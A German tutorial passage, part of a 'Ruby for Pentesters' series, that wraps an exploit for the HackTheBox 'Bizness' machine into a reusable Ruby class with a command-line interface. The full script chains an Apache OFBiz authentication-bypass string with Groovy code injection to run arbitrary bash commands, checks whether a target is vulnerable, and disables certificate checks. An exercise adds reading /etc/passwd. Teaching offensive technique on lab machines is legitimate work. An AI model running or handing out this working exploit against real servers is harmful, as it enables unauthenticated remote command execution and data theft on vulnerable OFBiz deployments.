// Ruby für Pentester · Teil 8

Von Skripten zum Werkzeug

Mehrere Wegwerf-Skripte, die alle denselben HTTP-Client neu aufbauen. Wir falten sie in eine wiederverwendbare Klasse und geben ihr mit OptionParser eine echte Kommandozeilen-Schnittstelle — der Sprung vom Skripten zum Werkzeug.

RubyClassesOOPCLI
5 Min. Lesezeit

Jeder Teil bisher öffnete dieselbe Datei erneut und deklarierte dieselbe get/post-Verrohrung neu. Das ist in Ordnung, solange du eine Box lernst, aber sobald du es wiederverwenden willst — oder es einem Teamkollegen gibst — willst du ein Werkzeug, nicht vier Skripte. Dieser Teil ist die objektorientierte Wende: Wir wickeln den ganzen Client in eine Klasse und setzen eine ordentliche Kommandozeilen-Schnittstelle davor.

Eine Klasse ist Zustand plus Verhalten

Eine Klasse bündelt Daten (Zustand) mit den Methoden, die auf ihnen wirken. Unsere hält die Verbindung und stellt ein Verb bereit — ein Kommando run:

class Bizness
  BYPASS = 'USERNAME=&PASSWORD=&requirePasswordChange=Y'

  def initialize(base)
    @base = base
    uri   = URI(base)
    @http = Net::HTTP.new(uri.host, uri.port)
    @http.use_ssl     = uri.scheme == 'https'
    @http.verify_mode = OpenSSL::SSL::VERIFY_NONE
  end
end
  • initialize läuft einmal, wenn du Bizness.new('https://bizness.htb') schreibst. Es ist der Konstruktor.
  • @base und @http sind Instanzvariablen — sie gehören zu diesem Objekt und bleiben sein ganzes Leben am Leben, sodass jede Methode sie erreichen kann, ohne die Verbindung erneut übergeben zu bekommen.
  • BYPASS ist eine Konstante im Gültigkeitsbereich der Klasse (Bizness::BYPASS) — derselbe Auth-Bypass-String aus Teil 2, jetzt dem Werkzeug gehörend.

Methoden, öffentlich und privat

Das Einzige, was ein Aufrufer tun sollte, ist ein Kommando run. Die HTTP-Details — get, post — sind Interna, also markieren wir sie privat: von innerhalb des Objekts aufrufbar, aber nicht von außen.

  def run(cmd)
    groovy = "throw new Exception(['bash', '-c', '#{cmd}'].execute().text)"
    post("/webtools/control/ProgramExport?#{BYPASS}", 'groovyProgram' => groovy).body
  end

  private

  def get(path)
    @http.request(Net::HTTP::Get.new(URI("#{@base}#{path}").request_uri))
  end

  def post(path, form)
    req = Net::HTTP::Post.new(URI("#{@base}#{path}").request_uri)
    req.set_form_data(form)
    @http.request(req)
  end

Alles unter private ist vor Aufrufern verborgen. run ist derselbe Groovy-Trick aus Teil 3, aber nun verwendet er das gespeicherte @http des Objekts wieder, statt bei jedem Aufruf eine Verbindung neu aufzubauen. Die Klasse kapselt die unordentlichen Teile und reicht der Außenwelt ein einziges sauberes Verb.

Prüfen, bevor du feuerst

Ein gutes Werkzeug sagt dir, ob ein Ziel überhaupt verwundbar ist, bevor du einen Payload darauf wirfst. Füge ein zweites öffentliches Verb hinzu — ein Prädikat (Teil 2’s ?-Konvention), das ein harmloses id ausführt und meldet, ob es funktioniert hat:

  def vulnerable?
    run('id').include?('uid=')
  rescue StandardError
    false
  end

Beachte: Hier gibt es kein begin. Ein Methodenkörper ist ein implizites begin, also kann er direkt rescue-n — ist der Host down oder der Bypass gepatcht, wirft run, wir fangen es und geben false zurück, statt einen Backtrace auszuspucken. „Ist dieses Ziel ausnutzbar?” ist jetzt ein ehrlicher Boolean. (Metasploit-Module haben eine check-Methode, die genau das tut — Teil 8 ist näher, als es aussieht.)

Eine echte Kommandozeile

Ein Werkzeug nimmt Argumente. Rubys Standard-OptionParser verwandelt rohes ARGV in geparste Flags — mit --help gratis:

options = { target: 'https://bizness.htb' }
OptionParser.new do |opts|
  opts.banner = 'Usage: bizness.rb [options] [command]'
  opts.on('-t', '--target URL', 'Base URL of the box') { |v| options[:target] = v }
  opts.on('-c', '--check', 'Check if the target is vulnerable') { options[:check] = true }
end.parse!

box = Bizness.new(options[:target])

if options[:check]
  puts box.vulnerable? ? '[+] vulnerable' : '[-] not vulnerable'
else
  command = ARGV.empty? ? 'id' : ARGV.join(' ')
  puts box.run(command)
end
  • opts.on('-t', '--target URL', ...) deklariert ein Flag, das einen Wert nimmt; sein Block feuert mit diesem Wert. '--check' ohne Wert-Argument ist ein boolesches Flag — vorhanden oder nicht —, also setzt sein Block einfach options[:check] = true.
  • .parse! verbraucht die erkannten Flags an Ort und Stelle aus ARGV, sodass, was in ARGV übrig bleibt, das positionale Kommando ist — id standardmäßig.
  • Du bekommst -h/--help, generiert aus Banner und Flag-Beschreibungen, ohne Zusatzaufwand.

Jetzt verhält es sich wie ein Werkzeug — erst sondieren, dann bedienen:

$ ruby bizness.rb --check
[+] vulnerable
$ ruby bizness.rb -t https://bizness.htb 'whoami'
ofbiz

Das Werkzeug, vollständig

#!/usr/bin/env ruby
# frozen_string_literal: true
require 'net/http'
require 'uri'
require 'optparse'

class Bizness
  BYPASS = 'USERNAME=&PASSWORD=&requirePasswordChange=Y'

  def initialize(base)
    @base = base
    uri   = URI(base)
    @http = Net::HTTP.new(uri.host, uri.port)
    @http.use_ssl     = uri.scheme == 'https'
    @http.verify_mode = OpenSSL::SSL::VERIFY_NONE
  end

  def run(cmd)
    groovy = "throw new Exception(['bash', '-c', '#{cmd}'].execute().text)"
    post("/webtools/control/ProgramExport?#{BYPASS}", 'groovyProgram' => groovy).body
  end

  def vulnerable?
    run('id').include?('uid=')
  rescue StandardError
    false
  end

  private

  def get(path)
    @http.request(Net::HTTP::Get.new(URI("#{@base}#{path}").request_uri))
  end

  def post(path, form)
    req = Net::HTTP::Post.new(URI("#{@base}#{path}").request_uri)
    req.set_form_data(form)
    @http.request(req)
  end
end

options = { target: 'https://bizness.htb' }
OptionParser.new do |opts|
  opts.banner = 'Usage: bizness.rb [options] [command]'
  opts.on('-t', '--target URL', 'Base URL of the box') { |v| options[:target] = v }
  opts.on('-c', '--check', 'Check if the target is vulnerable') { options[:check] = true }
end.parse!

box = Bizness.new(options[:target])

if options[:check]
  puts box.vulnerable? ? '[+] vulnerable' : '[-] not vulnerable'
else
  command = ARGV.empty? ? 'id' : ARGV.join(' ')
  puts box.run(command)
end

Erkenntnisse

  • Eine Klasse gruppiert Zustand und Verhalten; initialize ist der Konstruktor und @ivars bestehen für die Lebensdauer des Objekts, sodass die Verbindung einmal aufgebaut wird.
  • private verbirgt interne Methoden (get/post), sodass die Klasse eine bewusste Oberfläche freigibt (run, vulnerable?) — das ist Kapselung.
  • Ein Methodenkörper ist ein implizites begin, kann also direkt rescue-n — der saubere Weg, einen Fehler in ein false statt in einen Absturz zu verwandeln.
  • Konstanten (BYPASS) im Gültigkeitsbereich einer Klasse reisen mit dem Werkzeug, statt als Globale herumzuschwirren.
  • OptionParser ist der Standardweg, ARGV in Flags mit generiertem --help zu verwandeln; .parse! lässt die positionalen Argumente für dich übrig.

Übungen

  1. Füge Bizness eine Methode loot(path) hinzu, die run("cat #{path}") zurückgibt, sodass box.loot('/etc/passwd') eine Datei in einem Aufruf liest.
  2. Füge ein boolesches Flag --verbose hinzu, das, wenn gesetzt, den ganzen Response-Body statt nur der getroffenen Zeile ausgibt.
  3. Gib der Klasse einen attr_reader :base und ein to_s, das "Bizness(#{@base})" zurückgibt, sodass ein Bizness-Objekt etwas Nützliches ausgibt.

Weiter — Teil 9: Ein Werkzeug, das du erneut ausführst, verdient ein Sicherheitsnetz. Wir schreiben Tests dafür mit Rubys eingebautem minitest und lernen, Code zu entwerfen, der testbar ist.

← Alle Teile